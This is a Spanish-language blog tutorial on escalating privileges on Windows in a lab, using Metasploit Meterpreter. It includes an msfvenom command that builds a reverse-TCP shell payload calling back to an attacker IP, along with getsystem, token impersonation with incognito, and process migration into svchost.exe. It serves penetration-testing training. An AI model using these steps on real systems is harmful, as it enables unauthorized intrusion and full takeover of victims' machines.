La siguiente serie de post surge de dos disparadores, uno de ellos fue un comentario sobre la dificultad para escalar privilegios en la vm del desafío que presentamos como finalización de la serie de penetration with kali. El segundo, leer en un writeup sobre un script llamado linuxprivchecker.py, con lo cual decidí buscar más información sobre el proceso de escalación de privilegios para mejorar mis skills y compartirlo a modo de resumen.
Para la entrada de hoy necesitaremos un windows (el que quieran o tengan a mano) con dos o más usuarios creados, uno de ellos con privilegios de administrador y una máquina atacante que en mi caso utilizaré debian+katoolin.
Como los siguientes post se tratan sobre escalación de privilegios, pasaremos por alto la etapa de obtener acceso al sistema. A modo de recomendación, para llevar a cabo estos ejemplos sin muchas complicaciones, pueden crearse un .exe desde msfvenom y correrlo en el equipo víctima de la siguiente manera:
- msfvenom -p windows/metertpreter/reverse_tcp LPORT={puerto} LHOST={Dirección ip atacante} -f exe > shell.exe
Luego levantan un handler en metasploit con el mismo payload, pasan el .exe a la víctima y ejecutan, e esa manera obtendrán sesión en el meterpreter.
1- Si bien la manera más sencilla y posiblemente utilizada para escalar privilegios en sistemas operativos windows es lanzar un getsystem, obteniendo así los beneficios de ser un system authority.
2- En el caso de que ésta técnica no pueda ser llevada a cabo, vamos a realizarlo utilizando tokens de suplantación. Para esto usaremos la extensión incognito llamándola con use.
Las posibilidades que nos brinda esta extensión las podemos listar con help.
Para visualizar los tokens de sesión que tenemos disponibles podemos usar
list_tokens -g = para ver los grupos
list_tokens -u = para ver los usuarios
Ahora, sólo debemos pasar el nombre de usuario del cual queremos obtener el token con impersonate_token \\Nombre-de-usuario
3- Otra manera de escalar privilegios es migrando de proceso, primero veamos dónde estamos parados con getuid
Tenemos privilegios de administrador, pero queremos lo de system authority, así que listamos los procesos existentes con ps
Ahora migramos nuestro proceso evil.exe a svchost.exe de la siguiente manera:
migrate {n° de proceso}
Si listamos nuevamente veremos que el proceso evil.exe ya no está más y al ver los privilegios que tenemos con getuid notaremos que somos system.
4- Por ultimo, veremos una herramienta que nos puede ser de utilidad si los pasos anteriores no han dado resultado. Se llama windows-privsc-check y pueden descargarla de github.
En mi caso la descargue desde mi máquina atacante con
$ git clone https://github.com/pentestmonkey/windows-privesc-check.git
luego pasé el .exe desde meterpreter con upload. Si ejecutamos el exe -h podremos ver la ayuda y forma de uso, de todos modos les dejo aquí un video y el sitio de Pentestmonkey que son los que desarrollaron la tool.
Para que haga un análisis completo podemos ejecutar
windows-privsc-check2.exe -a –audit -o report
Una finalizado el análisis (tarda bastante) genera tres reportes, uno txt, otro xml y uno en html, el más lindo de visualizar es el html.
A partir de ésta información podemos ver los archivos y usuarios con privilegios para realizar el escalamiento.
Por si quieren profundizar conocimientos, les dejo este excelente post en ingles “Windows privilege escalation fundamentals”
Para el próximo post, utilizaremos algunos exploits de explotación local para escalar en sistemas windows, para más adelante quedarán los de linux.
Como siempre, cualquier duda o consulta, estamos por aquí.
Regards, @balderramaeric